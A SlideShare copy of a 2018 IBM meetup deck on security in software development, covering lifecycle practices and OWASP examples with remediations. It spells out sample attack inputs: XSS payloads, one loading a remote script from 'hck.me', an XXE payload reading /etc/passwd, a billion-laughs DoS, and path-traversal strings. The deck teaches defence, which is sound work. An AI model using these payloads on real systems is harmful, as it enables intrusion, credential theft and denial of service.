SlideShare a Scribd company logo
Security in the
development at IBM
Lab
Meetup March 29, 2018
Changhai KE
Product Architect and Security Lead
PhD, CISSP
changhai.ke@fr.ibm.com
About my organization and me
• Operational Decision Manager offerings
• Business Rules platform for modeling, governance and execution
• Decision Services, Decision Warehouse, Operational Intelligence
• On-prem, SaaS
• Product architect & security lead
• Requirements, development, testing, compliance, pre-sales, support,
etc.
• Solicits developers, team leads, offering managers
• Explain, argue, arbitrate, assess and assume some degree of the risk
• IBM France Lab
• From an ex French company
4 avril 2018 -- 2 --
Agenda
• General development guidelines for security
• Some vulnerability examples (in OWASP top 10)
• Wrap-up
4 avril 2018 -- 3 --
Security in the development
Security is in all the phases, of course!
• Planning
• Design
• Development
• Tests, validation
• Audits, certification, compliance program
• Support, Incident reporting
4 avril 2018 -- 4 --
Security in the development (1)
• Planning
• Awareness
• Training
• Resource & Competency
• Tools
• Audits
• Design
• Stack (Java, App Server, 3rd party jars, web frontend, etc.)
• Topology (Reverse proxy, firewall, VLAN, HA-DR, SLA)
• Authentication, authorization, SSO, SAML
• API protection: Basic Auth, Oauth, OpenID Connect, etc.
• Encryption, data privacy protection
4 avril 2018 -- 5 --
Security in the development (2)
• Development
• Coding guidelines: SQL queries, XML parsers, Encoder / decoder,
sanitization, etc.
• Common classes
• Tools: openssl, certificate management, developer tools, IDE plugins
• Unit tests
• Tests, validation
• Security unit and validation tests
• Scanning: static code analysis, web scanning
• Penetration tests: Tests by ethical hackers
4 avril 2018 -- 6 --
Security in the development (3)
• Audits
• Certification
• Compliance
• Support
• Incident Handling
• 3rd party vulnerabilities
• Own vulnerabilities
• PSIRT (Product Security Incident Response Team)
4 avril 2018 -- 7 --
Some common vulnerabilities
4 avril 2018 -- 8 --
Cross-Site Scripting (XSS)
• Severity: HIGH (if exploitable)
• CVSS: 7.0-10.0 (if exploitable)
• OWASP 2017 Top 10: A7 (Cross-Site Scripting)
• Target: End-user
• Two common types:
• Reflected XSS
• Stored (or Persistent) XSS
OWASP: Open Web Application Security Project
4 avril 2018 -- 9 --
XSS – Reflected
• Reflected XSS: The attacker submits JavaScript code to the application
via a URL parameter, the parameter is then attached to a hyperlink. When
a user clicks on the (malicious) link, the page is loaded and the JavaScript
is executed.
4 avril 2018 -- 10 --
XSS – Stored (or persistent)
• Stored XSS: The attacker submits JavaScript code to the application and
the code is stored. When a web page is loaded, the Javascript code is
executed.
4 avril 2018 -- 11 --
XSS Example
• Consider a web application that provides search functionality, with the
following URL:
• http://www.insecurelabs.org/Search.aspx?query=hello
• Searched string entered in a field:
4 avril 2018 -- 12 --
XSS Example: passing a Java script
JavaScript input strings are also accepted
http://www.insecurelabs.org/Search.aspx?query=%3Cscript%3Ealert%28%27XSS+security+alert%
27%29%3C%2Fscript%3E
(not encoded version:
http://www.insecurelabs.org/Search.aspx?query=<script>alert('XSS security alert')</script>)
4 avril 2018 -- 13 --
XSS Example: Javascript login page
Pass a JavaScript that pops up a login window:
http://www.insecurelabs.org/Task/Rule1?query=%3Cscript+src%3D%22h
ttp%3A%2F%2Fhck.me%2Flog.js%22%3E%3C%2Fscript%3E
Not encoded: http://www.insecurelabs.org/Task/Rule1?query= <script
src="http://hck.me/log.js"></script>
4 avril 2018 -- 14 --
XSS – Remediation
Two steps to prevent XSS
• Sanitize user inputs: make sure data submitted by the user fits
the application expectations.
• Encode the data before displaying it using HTMLEntities
encoding. Special characters will be encoded using the HTML
entity equivalent.
Check the OWASP cheat sheet
(https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
4 avril 2018 -- 15 --
XML XXE (XML External Entities) attack
• CVSS: 7.0 – 10.0
• Severity: HIGH
• OWASP 2017 Top 10: A4 (XML External Entities)
4 avril 2018 -- 16 --
XML XXE: How this works?
• Attacker submits an XML payload to an application / servlet
• XML parsing may be badly configured
• Retrieve local or remote system files
• Cause Denial of Service
4 avril 2018 -- 17 --
XML XXE: An example with shipment
XML payload for the shipment to an address in Paris
4 avril 2018 -- 18 --
<Shipment>
<Id>762378</Id>
<Package>Rp7845ZK</Package>
<FirstName>Paul</FirstName>
<LastName>Dupont</LastName>
<Address>
<Street>Rue de Rivoli</Street>
<City>Paris</City>
<ZIP>75001</ZIP>
<Region>Ile de France</Region>
</Address>
</Shipment>
XML XXE: File access using XXE
Defines a DTD with some entities. Note: XML External Entity can reference a URI or URL.
4 avril 2018 -- 19 --
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd” >]>
<Shipment>
<Id>762378</Id>
<Package>Rp7845ZK</Package>
<FirstName>Paul</FirstName>
<LastName>&xxe;</LastName>
<Address>
<Street>Rue de Rivoli</Street>
<City>Paris</City>
<ZIP>75001</ZIP>
<Region>Ile de France</Region>
</Address>
</Shipment>
XML XXE: DoS with entity expansion
Defines recursive entity expansion which consumes memory (aka one billion
laughs).
4 avril 2018 -- 20 --
<?xml version="1.0”e encoding="ISO-8859-1"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<Shipment>
<Id>762378</Id>
<Package>Rp7845ZK</Package>
<FirstName>Paul</FirstName>
<LastName>&lol9;</LastName>
<Address>
<Street>Rue de Rivoli</Street>
<City>Paris</City>
<ZIP>75001</ZIP>
<Region>Ile de France</Region>
</Address>
</Shipment>
Java: Out of Memory Error !
XML XXE: Remediation
• Disable DTDs (External Entities) completely.
• Or otherwise disable ENTITY tags
• in the XML parser used by the application. Note: Often, XML parsers allow
External Entities by default.
• Use XML schema than DTDs
• Other applications use JSON
• other vulnerabilities, not the same
4 avril 2018 -- 21 --
validator.setFeature("http://xml.org/sax/features/external-general-entities", false);
validator.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
validator.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
File Path Traversal – The basics…
• Severity: HIGH
• CVSS: 7.0-10.0
• OWASP 2017 Top 10: A5 (Broken Access Control)
• Target: System
4 avril 2018 -- 22 --
File Path Traversal
• Attacker submits a file path to the application via a parameter. The
Attacker typically uses relative paths (../../../etc/passwd) or absolute paths
(/etc/passwd) to access system files.
4 avril 2018 -- 23 --
File Path Traversal – An example
• File retrieval with File Path Traversal
• Consider a web application that uses URL parameters to reference
resource files, like these:
• https://www.example.com/get-files.jsp?file=report.pdf
• In this application, it’s possible to insert a malicious string as a
parameter value to access files outside the directory:
• https://www.example.com/get-files.jsp?file=/etc/passwd
4 avril 2018 -- 24 --
File Path Traversal – Remediation
Multiple ways to prevent File Path Traversal:
• Reference known files via an index number rather than their
name, and use application-generated filenames to save user-
supplied file content.
• Sanitize and validate user inputs – filter dot-dot (..)
sequences, for example.
• Accessible files in a specific directory or volume
• Use file system API to verify that the file to be accessed is
actually located in the base directory for the application.
4 avril 2018 -- 25 --
Other vulnerabilities
• Cookies: configuration, encryption etc.
• Session management
• Use of HTTPS (TLS 1.1, TLS 1.2 etc.)
• Insecure ciphers
• Certificate verification
• PII stored in clear
• Passwords (PII) not encrypted, not hashed
• API protection
4 avril 2018 -- 26 --
Wrap-up (1)
• Design, architecture
• Single Sign On, Reverse Proxy Server, Failover topology, LDAP
• Awareness, training
• Phishing exercise, awareness campaign, seminars
• Languages, tools
• Prog languages, developer tools, cURL, openssl,
• Shared classes, libraries
• PreparedStatement, XML parsers, HTTP client, certificate management
4 avril 2018 -- 27 --
Wrap-up (2)
• Security planning and testing
• Static code analysis
• Dynamic Web scanning
• Penetration testing
• Audits, Certification, Compliance
4 avril 2018 -- 28 --
Thank You
Merci
Grazie
Gracias
Obrigado
Danke
Japanese
English
French
Russian
GermanItalian
Spanish
Brazilian Portuguese
Arabic
TraditionalChinese
Simplified Chinese
Thai
Korean
4 avril 2018 -- 29 --

More Related Content

What's hot

SecDevOps for API Security
SecDevOps for API SecuritySecDevOps for API Security
SecDevOps for API Security
42Crunch
 
React commonest security flaws and remedial measures!
React commonest security flaws and remedial measures!React commonest security flaws and remedial measures!
React commonest security flaws and remedial measures!
Shelly Megan
 
Pactera - App Security Assessment - Mobile, Web App, IoT - v2
Pactera - App Security Assessment - Mobile, Web App, IoT - v2Pactera - App Security Assessment - Mobile, Web App, IoT - v2
Pactera - App Security Assessment - Mobile, Web App, IoT - v2Kyle Lai
 
Applying API Security at Scale
Applying API Security at ScaleApplying API Security at Scale
Applying API Security at Scale
Nordic APIs
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101
Jannis Kirschner
 
Injecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime WhitepaperInjecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime Whitepaper
Ajin Abraham
 
OWASP Top Ten 2017
OWASP Top Ten 2017OWASP Top Ten 2017
OWASP Top Ten 2017
Michael Furman
 
API Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentestersAPI Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentesters
Inon Shkedy
 
Owasp top 10 2017 (en)
Owasp top 10 2017 (en)Owasp top 10 2017 (en)
Owasp top 10 2017 (en)
PrashantDhakol
 
APISecurity_OWASP_MitigationGuide
APISecurity_OWASP_MitigationGuide APISecurity_OWASP_MitigationGuide
APISecurity_OWASP_MitigationGuide
Isabelle Mauny
 
OWASP TOP 10
OWASP TOP 10OWASP TOP 10
OWASP TOP 10
Robert MacLean
 
What Good is this Tool? A Guide to Choosing the Right Application Security Te...
What Good is this Tool? A Guide to Choosing the Right Application Security Te...What Good is this Tool? A Guide to Choosing the Right Application Security Te...
What Good is this Tool? A Guide to Choosing the Right Application Security Te...
Kevin Fealey
 
API Security Guidelines: Beyond SSL and OAuth.
API Security Guidelines: Beyond SSL and OAuth.API Security Guidelines: Beyond SSL and OAuth.
API Security Guidelines: Beyond SSL and OAuth.
Isabelle Mauny
 
OWASP API Security Top 10 - Austin DevSecOps Days
OWASP API Security Top 10 - Austin DevSecOps DaysOWASP API Security Top 10 - Austin DevSecOps Days
OWASP API Security Top 10 - Austin DevSecOps Days
42Crunch
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa Workshop
Paul Ionescu
 
42crunch-API-security-workshop
42crunch-API-security-workshop42crunch-API-security-workshop
42crunch-API-security-workshop
42Crunch
 
Checkmarx meetup API Security - API Security top 10 - Erez Yalon
Checkmarx meetup API Security -  API Security top 10 - Erez YalonCheckmarx meetup API Security -  API Security top 10 - Erez Yalon
Checkmarx meetup API Security - API Security top 10 - Erez Yalon
Adar Weidman
 
WEBINAR: OWASP API Security Top 10
WEBINAR: OWASP API Security Top 10WEBINAR: OWASP API Security Top 10
WEBINAR: OWASP API Security Top 10
42Crunch
 

What's hot (19)

SecDevOps for API Security
SecDevOps for API SecuritySecDevOps for API Security
SecDevOps for API Security
 
React commonest security flaws and remedial measures!
React commonest security flaws and remedial measures!React commonest security flaws and remedial measures!
React commonest security flaws and remedial measures!
 
Pactera - App Security Assessment - Mobile, Web App, IoT - v2
Pactera - App Security Assessment - Mobile, Web App, IoT - v2Pactera - App Security Assessment - Mobile, Web App, IoT - v2
Pactera - App Security Assessment - Mobile, Web App, IoT - v2
 
Applying API Security at Scale
Applying API Security at ScaleApplying API Security at Scale
Applying API Security at Scale
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101
 
Injecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime WhitepaperInjecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime Whitepaper
 
OWASP Top Ten 2017
OWASP Top Ten 2017OWASP Top Ten 2017
OWASP Top Ten 2017
 
API Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentestersAPI Security - OWASP top 10 for APIs + tips for pentesters
API Security - OWASP top 10 for APIs + tips for pentesters
 
Owasp top 10 2017 (en)
Owasp top 10 2017 (en)Owasp top 10 2017 (en)
Owasp top 10 2017 (en)
 
APISecurity_OWASP_MitigationGuide
APISecurity_OWASP_MitigationGuide APISecurity_OWASP_MitigationGuide
APISecurity_OWASP_MitigationGuide
 
Anatomy Web Attack
Anatomy Web AttackAnatomy Web Attack
Anatomy Web Attack
 
OWASP TOP 10
OWASP TOP 10OWASP TOP 10
OWASP TOP 10
 
What Good is this Tool? A Guide to Choosing the Right Application Security Te...
What Good is this Tool? A Guide to Choosing the Right Application Security Te...What Good is this Tool? A Guide to Choosing the Right Application Security Te...
What Good is this Tool? A Guide to Choosing the Right Application Security Te...
 
API Security Guidelines: Beyond SSL and OAuth.
API Security Guidelines: Beyond SSL and OAuth.API Security Guidelines: Beyond SSL and OAuth.
API Security Guidelines: Beyond SSL and OAuth.
 
OWASP API Security Top 10 - Austin DevSecOps Days
OWASP API Security Top 10 - Austin DevSecOps DaysOWASP API Security Top 10 - Austin DevSecOps Days
OWASP API Security Top 10 - Austin DevSecOps Days
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa Workshop
 
42crunch-API-security-workshop
42crunch-API-security-workshop42crunch-API-security-workshop
42crunch-API-security-workshop
 
Checkmarx meetup API Security - API Security top 10 - Erez Yalon
Checkmarx meetup API Security -  API Security top 10 - Erez YalonCheckmarx meetup API Security -  API Security top 10 - Erez Yalon
Checkmarx meetup API Security - API Security top 10 - Erez Yalon
 
WEBINAR: OWASP API Security Top 10
WEBINAR: OWASP API Security Top 10WEBINAR: OWASP API Security Top 10
WEBINAR: OWASP API Security Top 10
 

Similar to IBM Cloud Paris meetup 20180329 - Security in a Software Lab Dev

James Higginbotham - API Design
James Higginbotham - API DesignJames Higginbotham - API Design
James Higginbotham - API Design
John Zozzaro
 
Arcomem training system-overview_advanced
Arcomem training system-overview_advancedArcomem training system-overview_advanced
Arcomem training system-overview_advanced
arcomem
 
Arcomem training Specifying Crawls Beginners
Arcomem training Specifying Crawls BeginnersArcomem training Specifying Crawls Beginners
Arcomem training Specifying Crawls Beginners
arcomem
 
REST Api Tips and Tricks
REST Api Tips and TricksREST Api Tips and Tricks
REST Api Tips and Tricks
Maksym Bruner
 
API and Big Data Solution Patterns
API and Big Data Solution Patterns API and Big Data Solution Patterns
API and Big Data Solution Patterns WSO2
 
aip_developer_overview_icar_2014
aip_developer_overview_icar_2014aip_developer_overview_icar_2014
aip_developer_overview_icar_2014
Matthew Vaughn
 
Monitoring Application Attack Surface and Integrating Security into DevOps Pi...
Monitoring Application Attack Surface and Integrating Security into DevOps Pi...Monitoring Application Attack Surface and Integrating Security into DevOps Pi...
Monitoring Application Attack Surface and Integrating Security into DevOps Pi...
Denim Group
 
Open Source, The Natural Fit for Content Management in the Enterprise
Open Source, The Natural Fit for Content Management in the EnterpriseOpen Source, The Natural Fit for Content Management in the Enterprise
Open Source, The Natural Fit for Content Management in the Enterprise
Matt Hamilton
 
SharePoint 2013 governance model
SharePoint 2013 governance modelSharePoint 2013 governance model
SharePoint 2013 governance model
Yash Goley
 
RIPEstat, RIPE Atlas and the new DNSMON
RIPEstat, RIPE Atlas and the new DNSMONRIPEstat, RIPE Atlas and the new DNSMON
RIPEstat, RIPE Atlas and the new DNSMON
RIPE NCC
 
In Act Developers Platform
In Act Developers PlatformIn Act Developers Platform
In Act Developers PlatformEris Ristemena
 
WWW2014 Overview of W3C Linked Data Platform 20140410
WWW2014 Overview of W3C Linked Data Platform 20140410WWW2014 Overview of W3C Linked Data Platform 20140410
WWW2014 Overview of W3C Linked Data Platform 20140410
Arnaud Le Hors
 
The AmeriFlux Network Data Management System
The AmeriFlux Network Data Management SystemThe AmeriFlux Network Data Management System
The AmeriFlux Network Data Management System
Integrated Carbon Observation System (ICOS)
 
Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...
Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...
Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...
Nicole Szigeti
 
Flink's Journey from Academia to the ASF
Flink's Journey from Academia to the ASFFlink's Journey from Academia to the ASF
Flink's Journey from Academia to the ASF
Fabian Hueske
 
Sword Or2008 Julieallinson
Sword Or2008 JulieallinsonSword Or2008 Julieallinson
Sword Or2008 Julieallinson
Julie Allinson
 
An Extensible Framework to Validate and Build Dataset Profiles
An Extensible Framework to Validate and Build Dataset ProfilesAn Extensible Framework to Validate and Build Dataset Profiles
An Extensible Framework to Validate and Build Dataset Profiles
Ahmad Assaf
 
Ladies Be Architects - Integration - Multi-Org, Security, JSON, Backup & Restore
Ladies Be Architects - Integration - Multi-Org, Security, JSON, Backup & RestoreLadies Be Architects - Integration - Multi-Org, Security, JSON, Backup & Restore
Ladies Be Architects - Integration - Multi-Org, Security, JSON, Backup & Restore
gemziebeth
 
Expose Yourself Without Insecurity: Cloud Breach Patterns
Expose Yourself Without Insecurity: Cloud Breach PatternsExpose Yourself Without Insecurity: Cloud Breach Patterns
Expose Yourself Without Insecurity: Cloud Breach Patterns
Rob Ragan
 
Web data from R
Web data from RWeb data from R
Web data from Rschamber
 

Similar to IBM Cloud Paris meetup 20180329 - Security in a Software Lab Dev (20)

James Higginbotham - API Design
James Higginbotham - API DesignJames Higginbotham - API Design
James Higginbotham - API Design
 
Arcomem training system-overview_advanced
Arcomem training system-overview_advancedArcomem training system-overview_advanced
Arcomem training system-overview_advanced
 
Arcomem training Specifying Crawls Beginners
Arcomem training Specifying Crawls BeginnersArcomem training Specifying Crawls Beginners
Arcomem training Specifying Crawls Beginners
 
REST Api Tips and Tricks
REST Api Tips and TricksREST Api Tips and Tricks
REST Api Tips and Tricks
 
API and Big Data Solution Patterns
API and Big Data Solution Patterns API and Big Data Solution Patterns
API and Big Data Solution Patterns
 
aip_developer_overview_icar_2014
aip_developer_overview_icar_2014aip_developer_overview_icar_2014
aip_developer_overview_icar_2014
 
Monitoring Application Attack Surface and Integrating Security into DevOps Pi...
Monitoring Application Attack Surface and Integrating Security into DevOps Pi...Monitoring Application Attack Surface and Integrating Security into DevOps Pi...
Monitoring Application Attack Surface and Integrating Security into DevOps Pi...
 
Open Source, The Natural Fit for Content Management in the Enterprise
Open Source, The Natural Fit for Content Management in the EnterpriseOpen Source, The Natural Fit for Content Management in the Enterprise
Open Source, The Natural Fit for Content Management in the Enterprise
 
SharePoint 2013 governance model
SharePoint 2013 governance modelSharePoint 2013 governance model
SharePoint 2013 governance model
 
RIPEstat, RIPE Atlas and the new DNSMON
RIPEstat, RIPE Atlas and the new DNSMONRIPEstat, RIPE Atlas and the new DNSMON
RIPEstat, RIPE Atlas and the new DNSMON
 
In Act Developers Platform
In Act Developers PlatformIn Act Developers Platform
In Act Developers Platform
 
WWW2014 Overview of W3C Linked Data Platform 20140410
WWW2014 Overview of W3C Linked Data Platform 20140410WWW2014 Overview of W3C Linked Data Platform 20140410
WWW2014 Overview of W3C Linked Data Platform 20140410
 
The AmeriFlux Network Data Management System
The AmeriFlux Network Data Management SystemThe AmeriFlux Network Data Management System
The AmeriFlux Network Data Management System
 
Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...
Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...
Alfresco Coding mit dem Alfresco SDK (auf Englisch) - Julien Bruinaud, Techni...
 
Flink's Journey from Academia to the ASF
Flink's Journey from Academia to the ASFFlink's Journey from Academia to the ASF
Flink's Journey from Academia to the ASF
 
Sword Or2008 Julieallinson
Sword Or2008 JulieallinsonSword Or2008 Julieallinson
Sword Or2008 Julieallinson
 
An Extensible Framework to Validate and Build Dataset Profiles
An Extensible Framework to Validate and Build Dataset ProfilesAn Extensible Framework to Validate and Build Dataset Profiles
An Extensible Framework to Validate and Build Dataset Profiles
 
Ladies Be Architects - Integration - Multi-Org, Security, JSON, Backup & Restore
Ladies Be Architects - Integration - Multi-Org, Security, JSON, Backup & RestoreLadies Be Architects - Integration - Multi-Org, Security, JSON, Backup & Restore
Ladies Be Architects - Integration - Multi-Org, Security, JSON, Backup & Restore
 
Expose Yourself Without Insecurity: Cloud Breach Patterns
Expose Yourself Without Insecurity: Cloud Breach PatternsExpose Yourself Without Insecurity: Cloud Breach Patterns
Expose Yourself Without Insecurity: Cloud Breach Patterns
 
Web data from R
Web data from RWeb data from R
Web data from R
 

More from IBM France Lab

20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes
20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes
20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes
IBM France Lab
 
20200114 - IBM Cloud Paris Meetup - DevOps
20200114 - IBM Cloud Paris Meetup - DevOps20200114 - IBM Cloud Paris Meetup - DevOps
20200114 - IBM Cloud Paris Meetup - DevOps
IBM France Lab
 
20200128 - Meetup Nice Côte d'Azur - Agile Mindset
20200128 - Meetup Nice Côte d'Azur - Agile Mindset20200128 - Meetup Nice Côte d'Azur - Agile Mindset
20200128 - Meetup Nice Côte d'Azur - Agile Mindset
IBM France Lab
 
Défis de l'IA : droits, devoirs, enjeux économiques et éthiques
Défis de l'IA : droits, devoirs, enjeux économiques et éthiquesDéfis de l'IA : droits, devoirs, enjeux économiques et éthiques
Défis de l'IA : droits, devoirs, enjeux économiques et éthiques
IBM France Lab
 
Meetup ibm abakus banque postale
Meetup ibm abakus banque postaleMeetup ibm abakus banque postale
Meetup ibm abakus banque postale
IBM France Lab
 
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
IBM France Lab
 
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
IBM France Lab
 
IBM Watson IOT - Acoustic or Visual Insights
IBM Watson IOT - Acoustic or Visual InsightsIBM Watson IOT - Acoustic or Visual Insights
IBM Watson IOT - Acoustic or Visual Insights
IBM France Lab
 
Retour expérience Track & Trace - IBM using Sigfox.
Retour expérience Track & Trace - IBM using Sigfox.Retour expérience Track & Trace - IBM using Sigfox.
Retour expérience Track & Trace - IBM using Sigfox.
IBM France Lab
 
20190520 - IBM Cloud Paris-Saclay Meetup - Hardis Group
20190520  - IBM Cloud Paris-Saclay Meetup - Hardis Group20190520  - IBM Cloud Paris-Saclay Meetup - Hardis Group
20190520 - IBM Cloud Paris-Saclay Meetup - Hardis Group
IBM France Lab
 
IBM Cloud Paris Meetup - 20190520 - IA & Power
IBM Cloud Paris Meetup - 20190520 - IA & PowerIBM Cloud Paris Meetup - 20190520 - IA & Power
IBM Cloud Paris Meetup - 20190520 - IA & Power
IBM France Lab
 
IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM Cloud Côte d'Azur Meetup - 20190328 - OptimisationIBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM France Lab
 
IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM Cloud Côte d'Azur Meetup - 20190328 - OptimisationIBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM France Lab
 
IBM Cloud Bordeaux Meetup - 20190325 - Software Factory
IBM Cloud Bordeaux Meetup - 20190325 - Software FactoryIBM Cloud Bordeaux Meetup - 20190325 - Software Factory
IBM Cloud Bordeaux Meetup - 20190325 - Software Factory
IBM France Lab
 
IBM Cloud Paris Meetup - 20190129 - Assima
IBM Cloud Paris Meetup - 20190129 - AssimaIBM Cloud Paris Meetup - 20190129 - Assima
IBM Cloud Paris Meetup - 20190129 - Assima
IBM France Lab
 
IBM Cloud Paris Meetup - 20190129 - Myrtea
IBM Cloud Paris Meetup - 20190129 - MyrteaIBM Cloud Paris Meetup - 20190129 - Myrtea
IBM Cloud Paris Meetup - 20190129 - Myrtea
IBM France Lab
 
IBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelle
IBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelleIBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelle
IBM Cloud Paris Meetup - 20181016 - L'agilité à l'échelle
IBM France Lab
 
IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes & Rule-based Sm...
IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes &  Rule-based Sm...IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes &  Rule-based Sm...
IBM Cloud Côte d'Azur Meetup - Blockchain Business Processes & Rule-based Sm...
IBM France Lab
 
IBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger Workshop
IBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger WorkshopIBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger Workshop
IBM Cloud Côte D'Azur Meetup - 20181004 - Blockchain Hyperledger Workshop
IBM France Lab
 
IBM Cloud Paris Meetup - 20180911 - Common Ledger for Public Administration
IBM Cloud Paris Meetup - 20180911 - Common Ledger for Public AdministrationIBM Cloud Paris Meetup - 20180911 - Common Ledger for Public Administration
IBM Cloud Paris Meetup - 20180911 - Common Ledger for Public Administration
IBM France Lab
 

More from IBM France Lab (20)

20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes
20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes
20200113 - IBM Cloud Côte d'Azur - DeepDive Kubernetes
 
20200114 - IBM Cloud Paris Meetup - DevOps
20200114 - IBM Cloud Paris Meetup - DevOps20200114 - IBM Cloud Paris Meetup - DevOps
20200114 - IBM Cloud Paris Meetup - DevOps
 
20200128 - Meetup Nice Côte d'Azur - Agile Mindset
20200128 - Meetup Nice Côte d'Azur - Agile Mindset20200128 - Meetup Nice Côte d'Azur - Agile Mindset
20200128 - Meetup Nice Côte d'Azur - Agile Mindset
 
Défis de l'IA : droits, devoirs, enjeux économiques et éthiques
Défis de l'IA : droits, devoirs, enjeux économiques et éthiquesDéfis de l'IA : droits, devoirs, enjeux économiques et éthiques
Défis de l'IA : droits, devoirs, enjeux économiques et éthiques
 
Meetup ibm abakus banque postale
Meetup ibm abakus banque postaleMeetup ibm abakus banque postale
Meetup ibm abakus banque postale
 
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
 
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
20190613 - IBM Cloud Côte d'Azur meetup - "Cloud & Containers"
 
IBM Watson IOT - Acoustic or Visual Insights
IBM Watson IOT - Acoustic or Visual InsightsIBM Watson IOT - Acoustic or Visual Insights
IBM Watson IOT - Acoustic or Visual Insights
 
Retour expérience Track & Trace - IBM using Sigfox.
Retour expérience Track & Trace - IBM using Sigfox.Retour expérience Track & Trace - IBM using Sigfox.
Retour expérience Track & Trace - IBM using Sigfox.
 
20190520 - IBM Cloud Paris-Saclay Meetup - Hardis Group
20190520  - IBM Cloud Paris-Saclay Meetup - Hardis Group20190520  - IBM Cloud Paris-Saclay Meetup - Hardis Group
20190520 - IBM Cloud Paris-Saclay Meetup - Hardis Group
 
IBM Cloud Paris Meetup - 20190520 - IA & Power
IBM Cloud Paris Meetup - 20190520 - IA & PowerIBM Cloud Paris Meetup - 20190520 - IA & Power
IBM Cloud Paris Meetup - 20190520 - IA & Power
 
IBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
IBM Cloud Côte d'Azur Meetup - 20190328 - OptimisationIBM Cloud Côte d'Azur Meetup - 20190328 - Optimisation
